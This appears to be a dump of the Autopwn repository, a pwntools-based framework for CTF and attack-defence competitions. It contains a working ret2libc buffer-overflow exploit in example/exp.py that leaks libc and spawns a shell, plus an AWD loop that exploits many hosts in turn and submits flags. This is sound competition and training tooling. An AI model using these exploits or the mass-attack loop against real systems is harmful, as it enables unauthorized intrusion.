├── autopwn ├── core │ ├── tools │ │ ├── exceptions.py │ │ ├── __init__.py │ │ ├── register.py │ │ ├── ROP.py │ │ ├── tls.py │ │ ├── debug.py │ │ └── heap.py │ ├── __init__.py │ ├── classes.py │ └── pwn.py ├── __init__.py ├── ctf │ ├── __init__.py │ ├── less_tube.pyc │ ├── less_tube.py │ └── attack.py ├── .DS_Store └── .vscode │ └── .ropeproject │ ├── objectdb │ └── config.py ├── .gitignore ├── example ├── level3 ├── .DS_Store ├── autopwn.conf ├── .gdb_history └── exp.py ├── autopwn.conf ├── README.md ├── gen.py └── LICENSE /autopwn/core/tools/exceptions.py: -------------------------------------------------------------------------------- 1 | # TODO -------------------------------------------------------------------------------- /autopwn/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['awd', 'ctf', 'core'] -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | **.pyc 2 | .vscode 3 | .DS_Store 4 | .gdb_history -------------------------------------------------------------------------------- /autopwn/ctf/__init__.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | __all__ = ['attack', 'stack'] 4 | -------------------------------------------------------------------------------- /example/level3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4tsuri/Autopwn/HEAD/example/level3 -------------------------------------------------------------------------------- /autopwn/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4tsuri/Autopwn/HEAD/autopwn/.DS_Store -------------------------------------------------------------------------------- /example/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4tsuri/Autopwn/HEAD/example/.DS_Store -------------------------------------------------------------------------------- /autopwn/ctf/less_tube.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4tsuri/Autopwn/HEAD/autopwn/ctf/less_tube.pyc -------------------------------------------------------------------------------- /autopwn/core/__init__.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from autopwn.core.tools import * 3 | from autopwn.core.pwn import * 4 | -------------------------------------------------------------------------------- /autopwn.conf: -------------------------------------------------------------------------------- 1 | elf: 0 2 | server: 3 | username: 0 4 | ip_port: 0 5 | password: 0 6 | server_class: 0 7 | mode: 0 8 | -------------------------------------------------------------------------------- /autopwn/.vscode/.ropeproject/objectdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/m4tsuri/Autopwn/HEAD/autopwn/.vscode/.ropeproject/objectdb -------------------------------------------------------------------------------- /example/autopwn.conf: -------------------------------------------------------------------------------- 1 | elf: level3 2 | mode: ctf 3 | server: 4 | ip_port: node3.buuoj.cn:26638 5 | password: 0 6 | username: 0 7 | server_class: nc 8 | -------------------------------------------------------------------------------- /autopwn/core/tools/__init__.py: -------------------------------------------------------------------------------- 1 | from autopwn.core.tools.debug import * 2 | from autopwn.core.tools.ROP import * 3 | from autopwn.core.tools.heap import * 4 | from autopwn.core.tools.register import * 5 | from autopwn.core.tools.tls import * -------------------------------------------------------------------------------- /example/.gdb_history: -------------------------------------------------------------------------------- 1 | ni 2 | niq 3 | ni 4 | q 5 | ni 6 | q 7 | ni 8 | ni 9 | si 10 | q 11 | q 12 | $rebase(0x80484a6) 13 | rebase(0x80484a6) 14 | $rebase(0x80484a6) 15 | $rebase() 16 | b $rebase(0x80484a6) 17 | b *$rebase(0x80484a6) 18 | q 19 | c 20 | q 21 | ni 22 | ni 23 | q 24 | heap 25 | exit 26 | q 27 | $ida 28 | $ida 29 | ida 30 | $ida() 31 | ida() 32 | *$ida() 33 | q 34 | -------------------------------------------------------------------------------- /autopwn/core/tools/register.py: -------------------------------------------------------------------------------- 1 | from autopwn.ctf.attack import Attack 2 | 3 | SUBMIT_FLAG = 'submit_flag' 4 | GET_FLAG = 'get_flag' 5 | EXP = 'exp' 6 | REPLAY = 'replay' 7 | DEBUG = 'prepare_debug' 8 | IP_LIST = 'ip_list' 9 | 10 | def attacker(name): 11 | def register_func(func): 12 | assert(name in (SUBMIT_FLAG, GET_FLAG, EXP, REPLAY, DEBUG, IP_LIST)) 13 | setattr(Attack, name, func) 14 | return func 15 | return register_func 16 | -------------------------------------------------------------------------------- /autopwn/core/tools/ROP.py: -------------------------------------------------------------------------------- 1 | from pwnlib.util.packing import p64 2 | 3 | # this code has some weird behavior, do not use it 4 | class Csu64: 5 | def __init__(self, addr): 6 | self.addr = addr 7 | self.edi = 0 8 | self.rsi = 0 9 | self.rdx = 0 10 | self.rbp = 0 11 | self.target = 0 12 | 13 | def __bytes__(self, count=1): 14 | if self.rbp == 0: 15 | self.rbp = count 16 | payload = p64(self.addr) 17 | payload += p64(0) + p64(self.rbp) 18 | payload += p64(self.edi) + p64(self.rsi) 19 | payload += p64(self.rdx) 20 | payload += p64(self.target) 21 | payload += p64(self.addr - 0x1a) 22 | 23 | return payload 24 | 25 | def __add__(self, src): 26 | return bytes(self) + bytes(src) 27 | -------------------------------------------------------------------------------- /autopwn/core/tools/tls.py: -------------------------------------------------------------------------------- 1 | # the classes that may help when solving TLS related problems. 2 | from ctypes import c_int64, Structure 3 | def mask1(n): 4 | 5 | if n >= 0: 6 | return 2**n - 1 7 | else: 8 | return 0 9 | 10 | def ror(n, d, width=8): 11 | d %= width * 8 # width bytes give 8*bytes bits 12 | if d < 1: 13 | return n 14 | mask = mask1(8 * width) 15 | return ((n >> d) | (n << (8 * width - d))) & mask 16 | 17 | def rol(n, d, width=8): 18 | d %= width * 8 19 | if d < 1: 20 | return n 21 | mask = mask1(8 * width) 22 | return ((n << d) | (n >> (width * 8 - d))) & mask 23 | 24 | def ptr_demangle(ptr, key, LP_SIZE): 25 | tmp = ror(ptr, LP_SIZE * 2 + 1, LP_SIZE) 26 | return tmp ^ key 27 | 28 | def ptr_mangle(ptr, key, LP_SIZE): 29 | tmp = ptr ^ key 30 | return rol(tmp, LP_SIZE * 2 + 1, LP_SIZE) 31 | 32 | class dtor_list(Structure): 33 | _fields_ = [("func", c_int64), 34 | ("obj", c_int64), 35 | ("map", c_int64), 36 | ("next", c_int64)] 37 | 38 | def pack(self): 39 | return bytes(memoryview(self)) -------------------------------------------------------------------------------- /example/exp.py: -------------------------------------------------------------------------------- 1 | from autopwn.core import * 2 | from sys import argv 3 | 4 | @attacker(EXP) 5 | def exp(self, a: pwnlib.tubes.sock.sock): 6 | read_got = self.elf.got['read'] 7 | write_got = self.elf.got['write'] 8 | write_plt = self.elf.plt['write'] 9 | read_plt = self.elf.plt['read'] 10 | esp_c = 0x080482ee 11 | read_offset = self.lib[0].symbols['read'] 12 | one_offset = 0x3a80c 13 | 14 | a.rl() 15 | payload = b'a' * 0x88 + b'a' * 4 16 | payload += p32(write_plt) + p32(esp_c) 17 | payload += p32(1) + p32(read_got) + p32(4) 18 | payload += p32(read_plt) + p32(write_plt) 19 | payload += p32(0) + p32(write_got) + p32(4) 20 | payload = flat(payload) 21 | 22 | a.sl(payload) 23 | 24 | read_addr = unpack(a.recvn(4), 'all') 25 | a.lg(f"read_addr={read_addr:#x}") 26 | one_addr = read_addr + one_offset - read_offset 27 | 28 | a.send(p32(one_addr)) 29 | 30 | 31 | @attacker(GET_FLAG) 32 | def get_flag(self, a: pwnlib.tubes.sock.sock): 33 | a.interactive() 34 | return 35 | 36 | inter = '../LIBC/libc6-i386_2.23-0ubuntu10_amd64/ld-2.23.so' 37 | needed = '../LIBC/libc6-i386_2.23-0ubuntu10_amd64/libc-2.23.so' 38 | ctf(argv, inter, needed) 39 | -------------------------------------------------------------------------------- /autopwn/core/classes.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from abc import ABC, abstractmethod 3 | 4 | 5 | class Server: 6 | def __init__(self, server_info: dict, server_class: str): 7 | self.ip_port = self._ip_parse(server_info["ip_port"]) 8 | self.username = server_info['username'] 9 | self.password = server_info['password'] 10 | self.method = server_class 11 | 12 | # parse nc address and port 13 | @staticmethod 14 | def _ip_parse(ip_port: str): 15 | res = { 16 | 'host': '', 17 | 'port': 0 18 | } 19 | server_name = ip_port.split(':') 20 | res['host'] = server_name[0] 21 | res['port'] = int(server_name[1]) 22 | return res 23 | 24 | def _nc_connect(self): 25 | from pwnlib.tubes.remote import remote 26 | try: 27 | return remote(self.ip_port['host'], self.ip_port['port'], timeout=10) 28 | except BaseException as e: 29 | print("Connention to netcat failed: " + str(e)) 30 | exit(1) 31 | 32 | def _ssh_connect(self): 33 | from pwnlib.tubes.ssh import ssh 34 | try: 35 | return ssh(self.username, self.ip_port['host'], self.ip_port['port'], self.password) 36 | except BaseException as e: 37 | print("Connection to ssh failed: " + str(e)) 38 | exit(1) 39 | 40 | def connect(self): 41 | if self.method == 'nc': 42 | return self._nc_connect() 43 | elif self.method == 'ssh': 44 | return self._ssh_connect() 45 | else: 46 | return None -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Autopwn 2 | 3 | 当前处于活跃开发的分支为全面迁移到python 3.8的dev分支，而即将被抛弃的master分支仅支持python2。 4 | 由于兼容性的问题，本分支不再提供对连接ida的支持。 5 | 6 | ## 简介 7 | 8 | Autopwn项目，致力于提供如下特性： 9 | 10 | - 简化exp 11 | - 对pwntools常用功能的更好的包装 12 | - 内置的AWD模式支持 13 | 14 | 目前已经实现的功能： 15 | - 对自定义函数的包装（不完善） 16 | - 使用命令行参数启动脚本，从而实现不同的功能（local run，local debug，remote run） 17 | - 允许用户自定义debug时的gdb脚本，添加了对PIE程序仅使用偏移下断点的支持 18 | - 允许用户自行提供函数封装，并将其添加为tubes的方法，已内置数个别名 19 | - 允许用户更改elf文件的库查找路径与解释器路径（使用patchelf以及lief实现） 20 | - 允许用户为当前的elf生成一个可修改的lief Binary对象 21 | - 添加Ubuntu常用库的数据库（ld，libc，libdl） 22 | 23 | ## 安装 24 | 25 | ### 依赖 26 | - python 3.8.3 (environment) 27 | - pwntools (module) 28 | - pandas (module) 29 | - lief (module) 30 | - patchelf (application) 31 | 32 | ### 安装方法 33 | 34 | 1. `git clone https://github.com/CTSinon/Autopwn.git` 35 | 36 | 2. 将这一行添加到.bashrc中： 37 | `alias gen='python path/to/gen.py` 38 | 39 | 3. 将autopwn文件夹添加到python的path中 40 | 41 | 4. 将LIBC文件夹中的ubuntu库放到你喜欢的位置 42 | 43 | 5. enjoy it! 44 | 45 | ## 其他 46 | 47 | ### 栗子🌰 48 | 49 | //TODO 50 | 51 | ### 目录结构 52 | 53 | ``` 54 | . 55 | ├── \ 56 | ├── autopwn 57 | │ ├── core 58 | │ │ ├── classes.py # 存放核心类 59 | │ │ ├── __init__.py 60 | │ │ ├── tools.py # 存放常用的工具函数与工具类 61 | │ │ └── pwn.py # 主文件 62 | │ ├── ctf 63 | │ │ ├── attack.py # 主文件 64 | │ │ ├── __init__.py 65 | │ │ ├── less_tube.py # 为tube类添加更多特性 66 | │ │ └── stack.py # 栈布局可视化（已废弃） 67 | │ └── __init__.py 68 | ├── autopwn.conf # 配置文件模版 69 | ├── gen.py # 生成配置文件 70 | ├── README.md 71 | └── test 72 | ├── flag 73 | └── payload.py 74 | ``` 75 | 76 | ### 碎碎念 77 | - 感谢cnitlrt师傅的支持 78 | - 作者没有专业研究过python这门语言，所以脚本写得一言难尽。设计模式之类的更是没怎么研究过。希望各路大神能提出更好的建议，添加更方便的功能，大家一起进步呀 (๑•̀ㅂ•́)و✧ 79 | -------------------------------------------------------------------------------- /autopwn/core/tools/debug.py: -------------------------------------------------------------------------------- 1 | from pwnlib import gdb 2 | 3 | class Debug: 4 | def __init__(self, dbg_obj): 5 | self.proc = dbg_obj 6 | self.pie = dbg_obj.elf.pie 7 | self.ex = dbg_obj.execute 8 | self.params = dbg_obj.argv[2:] 9 | self.dbg_on = dbg_obj.debug_mode 10 | self.elf_path = dbg_obj.elf_path 11 | self.attached = dbg_obj.gdb_attached 12 | self.script = '\n' 13 | self.real_addr = lambda addr: f"$rebase({hex(addr)})" if self.pie else hex(addr) 14 | 15 | def b(self, *points): 16 | baddr_str = "b *{}\n" 17 | bfunc_str = "b {}\n" 18 | for point in points: 19 | if type(point) == type('deadbeef'): 20 | self.script += bfunc_str.format(point) 21 | elif type(point) == type(0xdeadbeef): 22 | self.script += baddr_str.format(self.real_addr(point)) 23 | return self 24 | 25 | def c(self): 26 | self.script += "continue\n" 27 | return self 28 | 29 | def watch(self, points, mode='rw'): 30 | modes = { 31 | 'w': "awatch *{}", 32 | 'r': "rwatch *{}", 33 | 'rw': "watch *{}" 34 | } 35 | 36 | watch_str = modes[mode] 37 | 38 | for point in points: 39 | self.script += watch_str.format(self.real_addr(point)) 40 | 41 | return self 42 | 43 | def catch(self, *args): 44 | catch_str = 'catch ' 45 | for part in args: 46 | catch_str += str(part) + ' ' 47 | self.script += catch_str 48 | return self 49 | 50 | def attach(self): 51 | if self.dbg_on and not self.proc.gdb_attached: 52 | self.proc.gdb_attached = True 53 | gdb.attach(self.ex, self.script) 54 | 55 | 56 | def cmd(self, command): 57 | self.script += (command + '\n') 58 | return self 59 | 60 | def start(self): 61 | if self.proc.gdb_attached: 62 | return None 63 | self.proc.gdb_attached = True 64 | return gdb.debug([str(self.elf_path)] + self.params, self.script) 65 | -------------------------------------------------------------------------------- /autopwn/ctf/less_tube.py: -------------------------------------------------------------------------------- 1 | import re 2 | import pwnlib 3 | from pwn import * 4 | 5 | # this module aims to add new methods to tube class. 6 | 7 | def add_features(src): 8 | features = [extnum, l64, l32, sla, sa, lg, se, sl, ru, rl, verify_valid, polling] 9 | for feature in features: 10 | setattr(pwnlib.tubes.tube.tube, feature.__name__, feature) 11 | assert type(src) != int 12 | return src 13 | 14 | def verify_valid(self, func, **kwargs): 15 | return func(self, kwargs) 16 | 17 | def polling(self, templates=None, count=0): 18 | assert templates != None 19 | if count == 1: 20 | self.recvuntil(templates[0]) 21 | self.sendline(templates[1]) 22 | return 23 | for template in templates: 24 | self.recvuntil(template[0]) 25 | self.sendline(template[1]) 26 | 27 | 28 | def l64(self): 29 | return self.verify_valid(lambda ex, args: u64(ex.recvuntil("\x7f")[-6:].ljust(8,"\x00"))) 30 | 31 | def l32(self): 32 | return self.verify_valid(lambda ex, args: u32(ex.recvuntil("\xf7")[-4:].ljust(4,"\x00"))) 33 | 34 | def rl(self): 35 | return self.verify_valid(lambda ex, args: ex.recvline()) 36 | 37 | def sla(self, after, send): 38 | return self.verify_valid(lambda ex, args: ex.sendlineafter(args['after'], args['send']), 39 | after=after, 40 | send=send) 41 | 42 | def sa(self, after, send): 43 | return self.verify_valid(lambda ex, args: ex.sendafter(args['after'], args['send']), 44 | after=after, 45 | send=send) 46 | 47 | def lg(self, message): 48 | return self.verify_valid(lambda ex, args: ex.success(args['message']), 49 | message=message) 50 | 51 | def se(self, payload): 52 | return self.verify_valid(lambda ex, args: ex.send(args['payload']), payload=payload) 53 | 54 | def sl(self, payload): 55 | return self.verify_valid(lambda ex, args: ex.sendline(args['payload']), payload=payload) 56 | 57 | def ru(self, until): 58 | return self.verify_valid(lambda ex, args: ex.recvuntil(str(args['until'])), until=until) 59 | 60 | # extract numbers with a given base from an output line 61 | def extnum(self, base = 10): 62 | res = [] 63 | if base == 10: 64 | pattern = re.compile(r'\d+') 65 | elif base == 16: 66 | pattern = re.compile(r"[0-9a-fA-F]{4,}") 67 | else: 68 | return None 69 | 70 | src = self.recvline() 71 | res = re.findall(pattern, src) 72 | for i in range(0, len(res)): 73 | res[i] = int(res[i], base=base) 74 | return res -------------------------------------------------------------------------------- /gen.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import yaml 3 | import os 4 | import sys 5 | import shutil 6 | import getopt 7 | 8 | base_dir = '/root/Desktop/Parallels Shared Folders/Home/Downloads' 9 | now_dir = os.getcwd() 10 | template_path = '/root/Desktop/Parallels Shared Folders/Home/Kali/pypwn/autopwn.conf' 11 | config = {} 12 | 13 | def parse_opt(): 14 | opts, args = getopt.getopt(sys.argv[1:], 'p:u:f:m:r:c:ah') 15 | 16 | for opt, value in opts: 17 | if '-f' == opt: 18 | check_file(value) 19 | elif '-r' == opt: 20 | config['server']['ip_port'] = value 21 | # print config 22 | elif '-c' == opt: 23 | if value != 'nc' and value != 'ssh': 24 | help() 25 | config['server_class'] = value 26 | elif '-u' == opt: 27 | config['server']['username'] = value 28 | elif '-p' == opt: 29 | config['server']['password'] = value 30 | elif '-m' == opt: 31 | if value != 'ctf' and value != 'awd': 32 | help() 33 | else: 34 | config['mode'] = value 35 | else: 36 | help() 37 | 38 | if config["mode"] == 0: 39 | config["mode"] = 'ctf' 40 | if config["server_class"] == 0: 41 | config["server_class"] = 'nc' 42 | 43 | def help(): 44 | print("help: ") 45 | print(" -f filename must specify without -a") 46 | print(" -m mode choose between ctf and awd") 47 | print(" -r ip address ip address of remote server") 48 | print(" -c connect method now you can choose ssh or nc") 49 | print(" -u username if you choose ssh") 50 | print(" -p password if you choose ssh") 51 | print(" -a update conf") 52 | exit(1) 53 | 54 | 55 | def no_parameter(): 56 | print("Fatal: Parameter Not Specified.") 57 | exit(1) 58 | 59 | 60 | def check_file(elf_name): 61 | if os.path.exists(now_dir + '/' + elf_name): 62 | elf = now_dir + '/' + elf_name 63 | elif os.path.exists(base_dir + '/' + elf_name): 64 | elf = base_dir + '/' + elf_name 65 | shutil.move(elf, now_dir + '/' + elf_name) 66 | else: 67 | print("Fatal: No Such File.") 68 | exit(1) 69 | config['elf'] = elf_name 70 | 71 | 72 | if __name__ == '__main__': 73 | if os.path.exists(now_dir + '/autopwn.conf'): 74 | conf_path = now_dir + '/autopwn.conf' 75 | else: 76 | conf_path = template_path 77 | 78 | try: 79 | config = yaml.load(open(conf_path, 'r'), Loader=yaml.FullLoader) 80 | except IOError: 81 | print("Fatal: Template File Not Found.") 82 | 83 | parse_opt() 84 | os.chmod(config['elf'], 0o775) 85 | elf = ELF(config["elf"]) 86 | conf_file = now_dir + '/autopwn.conf' 87 | # print config 88 | with open(conf_file, 'w') as conf: 89 | yaml.dump(config, conf) 90 | -------------------------------------------------------------------------------- /autopwn/core/pwn.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import yaml 4 | from pwnlib.log import Logger 5 | from time import sleep 6 | from pwn import context 7 | from concurrent.futures import ThreadPoolExecutor 8 | 9 | log = Logger() 10 | 11 | 12 | def parse_config(): 13 | try: 14 | with open("autopwn.conf") as config_file: 15 | config = yaml.load(config_file, Loader=yaml.FullLoader) 16 | return config 17 | except EnvironmentError: 18 | log.error("Fatal: Configure File Not Found") 19 | exit(1) 20 | 21 | 22 | def awd(argv, inter=None, needed=None, gap=10 * 60): 23 | config = parse_config() 24 | # parse configuration file 25 | 26 | from autopwn.ctf.attack import Attack 27 | 28 | if needed and (type(needed) != list): 29 | needed = [needed] 30 | 31 | 32 | attack_obj = Attack(argv=[argv[0], 'remote'], config=config, inter=inter, needed=needed) 33 | 34 | assert(hasattr(attack_obj, 'ip_list')) 35 | assert(hasattr(attack_obj, 'get_flag')) 36 | assert(hasattr(attack_obj, 'submit_flag')) 37 | assert(hasattr(attack_obj, 'exp')) 38 | assert(hasattr(attack_obj, 'replay')) 39 | 40 | ip_list = attack_obj.ip_list() 41 | host_count = len(ip_list) 42 | log.info(f"Totally {host_count} hosts.") 43 | turn_count = 0 44 | attack_obj.log_level = 'info' 45 | 46 | while True: 47 | success_count = 0 48 | for ip in attack_obj.ip_list(): 49 | try: 50 | log.info("Attacking " + ip) 51 | attack_obj.config['server']['ip_port'] = ip 52 | tube = attack_obj.replay() 53 | attack_obj.exp(tube) 54 | flag = attack_obj.get_flag(tube).decode() 55 | res = attack_obj.submit_flag(flag) 56 | if res: 57 | log.success("Success, flag is " + flag) 58 | success_count += 1 59 | else: 60 | log.success("Wrong flag: " + flag) 61 | print("") 62 | except BaseException as e: 63 | log.warning(f"Error: {e}") 64 | 65 | turn_count += 1 66 | log.info(f"Turn {turn_count}, {success_count} succeeded, {host_count - success_count} failed.") 67 | print("") 68 | sleep(gap) 69 | 70 | 71 | def ctf(argv, inter=None, needed=None, gap=60 * 10): 72 | if argv[1] == 'awd': 73 | return awd(argv, inter, needed, gap) 74 | 75 | config = parse_config() 76 | # parse configuration file 77 | 78 | from autopwn.ctf.attack import Attack 79 | if needed and (type(needed) != list): 80 | needed = [needed] 81 | 82 | attack_obj = Attack(argv=argv, config=config, inter=inter, needed=needed) 83 | 84 | assert(hasattr(attack_obj, 'get_flag')) 85 | assert(hasattr(attack_obj, 'exp')) 86 | 87 | if argv[1] == 'patch' and (inter or needed): 88 | if not attack_obj.ensure_lib(): 89 | log.success("ELF File Modified.") 90 | else: 91 | log.failure("ELF File Modifying Failed.") 92 | exit(0) 93 | 94 | tube = attack_obj.process_init() 95 | 96 | ret_val = attack_obj.exp(tube) 97 | 98 | if ret_val == None: 99 | flag = attack_obj.get_flag(tube) 100 | tube.success(flag) 101 | return attack_obj 102 | 103 | assert(hasattr(attack_obj, 'replay')) 104 | 105 | while ret_val != True: 106 | tube = attack_obj.replay() 107 | if tube == False: 108 | break 109 | ret_val = attack_obj.exp(tube) 110 | 111 | flag = attack_obj.get_flag(tube) 112 | log.success(flag) 113 | return attack_obj 114 | -------------------------------------------------------------------------------- /autopwn/ctf/attack.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | from pwnlib.util.proc import wait_for_debugger 3 | import sys 4 | import re 5 | from autopwn.core.classes import Server 6 | from autopwn.ctf.less_tube import add_features 7 | from autopwn.core.tools.debug import Debug 8 | import lief 9 | from pwn import * 10 | from pathlib import Path 11 | import itertools 12 | 13 | # ida: use ida as debugger 14 | # gdb: use gdb as debugger 15 | # run: run with local elf file 16 | # remote: attack remote server 17 | 18 | class Attack: 19 | # directly pass argv when you call it, and use out special function 20 | def __init__(self, argv: list, config: dict, inter=None, needed=None): 21 | self.mode = argv[1] 22 | self.argv = argv 23 | self.debug_mode = False 24 | self.log_level = 'debug' 25 | self.config: dict = config 26 | # basic configuration 27 | 28 | context.terminal = ['terminator', '-me'] 29 | # debugger configuration 30 | 31 | self.execute: pwnlib.tubes.sock.sock = None 32 | # our process to interact 33 | self.server: Server = None 34 | # the server to be connected when using remote mode 35 | 36 | self.work_path = Path(argv[0]).parent 37 | self.elf_path = Path(config['elf']).resolve() 38 | self.elf = ELF(str(self.elf_path)) 39 | 40 | self.inter_modified = bool(inter != None) 41 | self.needed_modified = bool(needed != None) 42 | self.gdb_attached = False 43 | 44 | if self.needed_modified: 45 | self.needed_path = [Path(lib).resolve() for lib in needed] 46 | self.lib = [ELF(str(lib_path)) for lib_path in self.needed_path] 47 | if self.inter_modified: 48 | self.inter_path = Path(inter).resolve() 49 | self.inter: pwnlib.elf.ELF = ELF(str(self.inter_path)) 50 | 51 | self.parsed: lief.ELF.Binary = None 52 | # extend lief support 53 | 54 | 55 | def parse(self): 56 | self.parsed = lief.parse(str(self.elf_path)) 57 | assert type(self.parsed) == lief.ELF.Binary 58 | return self.parsed 59 | 60 | 61 | def ensure_lib(self): 62 | if type(self.parsed) != lief.Binary: 63 | self.parse() 64 | 65 | exit_value = 0 66 | if self.inter_modified: 67 | command = f"patchelf --set-interpreter {str(self.inter_path)} {str(self.elf_path)}" 68 | log.info("Executing: " + command) 69 | exit_value = os.system(command) 70 | 71 | if self.needed_path == None: 72 | return -1 73 | 74 | lib_pattern = re.compile(r"lib[a-zA-Z]+") 75 | origin_path = [Path(lib) for lib in self.parsed.libraries] 76 | 77 | for origin, replace in itertools.product(origin_path, self.needed_path): 78 | if not re.findall(lib_pattern, origin.name)[0] in replace.name: 79 | continue 80 | command = f"patchelf --replace-needed {str(origin)} {str(replace)} {str(self.elf_path)}" 81 | log.info("Executing: " + command) 82 | exit_value += os.system(command) 83 | 84 | self.elf = ELF(str(self.elf_path)) 85 | return exit_value 86 | 87 | # 启动进程 88 | def process_init(self): 89 | context.arch = self.elf.get_machine_arch() 90 | context.word_size = self.elf.bits 91 | context.endian = self.elf.endian 92 | context.log_level = self.log_level 93 | if self.mode == 'run' or self.mode == 'gdb': 94 | if not self.elf_path.exists(): 95 | log.error("ELF file does not exist.") 96 | exit(1) 97 | 98 | if self.mode == 'gdb' and hasattr(self, 'prepare_debug'): 99 | self.dbg = Debug(self) 100 | self.prepare_debug() 101 | self.execute = self.dbg.start() 102 | else: 103 | self.debug_mode = bool(self.mode == 'gdb') 104 | self.execute = process([str(self.elf_path)] + self.argv[2:]) 105 | 106 | 107 | elif self.mode == 'remote': 108 | self.server = Server(self.config['server'], self.config['server_class']) 109 | try: 110 | self.execute = self.server.connect() 111 | except exception.PwnlibException: 112 | log.error("Remote server error.") 113 | 114 | else: 115 | log.error("Parameter Error.") 116 | 117 | self.execute = add_features(self.execute) 118 | return self.execute 119 | 120 | 121 | def replay(self): 122 | try: 123 | self.execute.close() 124 | except: 125 | log.info("tube already closed.") 126 | 127 | return self.process_init() -------------------------------------------------------------------------------- /autopwn/.vscode/.ropeproject/config.py: -------------------------------------------------------------------------------- 1 | # The default ``config.py`` 2 | # flake8: noqa 3 | 4 | 5 | def set_prefs(prefs): 6 | """This function is called before opening the project""" 7 | 8 | # Specify which files and folders to ignore in the project. 9 | # Changes to ignored resources are not added to the history and 10 | # VCSs. Also they are not returned in `Project.get_files()`. 11 | # Note that ``?`` and ``*`` match all characters but slashes. 12 | # '*.pyc': matches 'test.pyc' and 'pkg/test.pyc' 13 | # 'mod*.pyc': matches 'test/mod1.pyc' but not 'mod/1.pyc' 14 | # '.svn': matches 'pkg/.svn' and all of its children 15 | # 'build/*.o': matches 'build/lib.o' but not 'build/sub/lib.o' 16 | # 'build//*.o': matches 'build/lib.o' and 'build/sub/lib.o' 17 | prefs['ignored_resources'] = ['*.pyc', '*~', '.ropeproject', 18 | '.hg', '.svn', '_svn', '.git', '.tox'] 19 | 20 | # Specifies which files should be considered python files. It is 21 | # useful when you have scripts inside your project. Only files 22 | # ending with ``.py`` are considered to be python files by 23 | # default. 24 | # prefs['python_files'] = ['*.py'] 25 | 26 | # Custom source folders: By default rope searches the project 27 | # for finding source folders (folders that should be searched 28 | # for finding modules). You can add paths to that list. Note 29 | # that rope guesses project source folders correctly most of the 30 | # time; use this if you have any problems. 31 | # The folders should be relative to project root and use '/' for 32 | # separating folders regardless of the platform rope is running on. 33 | # 'src/my_source_folder' for instance. 34 | # prefs.add('source_folders', 'src') 35 | 36 | # You can extend python path for looking up modules 37 | # prefs.add('python_path', '~/python/') 38 | 39 | # Should rope save object information or not. 40 | prefs['save_objectdb'] = True 41 | prefs['compress_objectdb'] = False 42 | 43 | # If `True`, rope analyzes each module when it is being saved. 44 | prefs['automatic_soa'] = True 45 | # The depth of calls to follow in static object analysis 46 | prefs['soa_followed_calls'] = 0 47 | 48 | # If `False` when running modules or unit tests "dynamic object 49 | # analysis" is turned off. This makes them much faster. 50 | prefs['perform_doa'] = True 51 | 52 | # Rope can check the validity of its object DB when running. 53 | prefs['validate_objectdb'] = True 54 | 55 | # How many undos to hold? 56 | prefs['max_history_items'] = 32 57 | 58 | # Shows whether to save history across sessions. 59 | prefs['save_history'] = True 60 | prefs['compress_history'] = False 61 | 62 | # Set the number spaces used for indenting. According to 63 | # :PEP:`8`, it is best to use 4 spaces. Since most of rope's 64 | # unit-tests use 4 spaces it is more reliable, too. 65 | prefs['indent_size'] = 4 66 | 67 | # Builtin and c-extension modules that are allowed to be imported 68 | # and inspected by rope. 69 | prefs['extension_modules'] = [] 70 | 71 | # Add all standard c-extensions to extension_modules list. 72 | prefs['import_dynload_stdmods'] = True 73 | 74 | # If `True` modules with syntax errors are considered to be empty. 75 | # The default value is `False`; When `False` syntax errors raise 76 | # `rope.base.exceptions.ModuleSyntaxError` exception. 77 | prefs['ignore_syntax_errors'] = False 78 | 79 | # If `True`, rope ignores unresolvable imports. Otherwise, they 80 | # appear in the importing namespace. 81 | prefs['ignore_bad_imports'] = False 82 | 83 | # If `True`, rope will insert new module imports as 84 | # `from import ` by default. 85 | prefs['prefer_module_from_imports'] = False 86 | 87 | # If `True`, rope will transform a comma list of imports into 88 | # multiple separate import statements when organizing 89 | # imports. 90 | prefs['split_imports'] = False 91 | 92 | # If `True`, rope will remove all top-level import statements and 93 | # reinsert them at the top of the module when making changes. 94 | prefs['pull_imports_to_top'] = True 95 | 96 | # If `True`, rope will sort imports alphabetically by module name instead 97 | # of alphabetically by import statement, with from imports after normal 98 | # imports. 99 | prefs['sort_imports_alphabetically'] = False 100 | 101 | # Location of implementation of 102 | # rope.base.oi.type_hinting.interfaces.ITypeHintingFactory In general 103 | # case, you don't have to change this value, unless you're an rope expert. 104 | # Change this value to inject you own implementations of interfaces 105 | # listed in module rope.base.oi.type_hinting.providers.interfaces 106 | # For example, you can add you own providers for Django Models, or disable 107 | # the search type-hinting in a class hierarchy, etc. 108 | prefs['type_hinting_factory'] = ( 109 | 'rope.base.oi.type_hinting.factory.default_type_hinting_factory') 110 | 111 | 112 | def project_opened(project): 113 | """This function is called after opening the project""" 114 | # Do whatever you like here! 115 | -------------------------------------------------------------------------------- /autopwn/core/tools/heap.py: -------------------------------------------------------------------------------- 1 | from autopwn.ctf.attack import Attack 2 | from pwnlib.util.packing import pack 3 | 4 | ARCH_x64 = 64 5 | ARCH_x86 = 32 6 | PREV_INUSE = 1 7 | PREV_NOT_INUSE = 0 8 | MMAPPED = 1 9 | NOT_MMAPPED = 0 10 | MAIN_ARENA = 0 11 | NOT_MAIN_ARENA = 1 12 | SMALLER = 0 13 | LARGER = 1 14 | SINGLE_LINKED = 0 15 | DOUBLE_LINKED = 1 16 | 17 | 18 | class Heap: 19 | def __init__(self, attack_obj: Attack=None, arch=None): 20 | if attack_obj: 21 | self.arch = attack_obj.elf.bits 22 | elif arch: 23 | self.arch = arch 24 | else: 25 | print("Error: arch not specified.") 26 | 27 | self.SIZE_SZ = self.arch // 8 28 | # 表示平台字长 29 | 